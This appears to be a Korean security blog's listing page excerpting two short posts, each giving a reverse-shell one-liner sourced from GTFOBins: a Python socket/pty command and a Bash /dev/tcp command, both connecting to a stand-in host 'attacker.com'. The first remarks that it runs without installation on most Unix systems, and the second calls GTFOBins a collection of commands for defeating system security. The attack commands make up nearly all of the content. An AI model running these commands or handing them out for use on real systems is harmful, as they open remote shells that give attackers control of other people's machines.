728x90 쉘2 시스템 보안 - 파이썬 리버스 쉘 스크립트 export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' 대부분의 유닉스 계열의 OS(리눅스, 맥os)에는 python2는 설치가 되어있는 경우가 많으니 별도의 설치 없이 명령어만으로 사용 가능하다. 출처: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25. 보안 - GTFOBins, 시스템 보안 무력화 명령어 모음들 https://gtfobins.github.io/ GTFOBins pg Shell File read SUID Sudo gtfobins.github.io 예시) Bash 리버스 쉘 활성화 명령어 export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT 2023. 1. 22. 이전 1 다음 728x90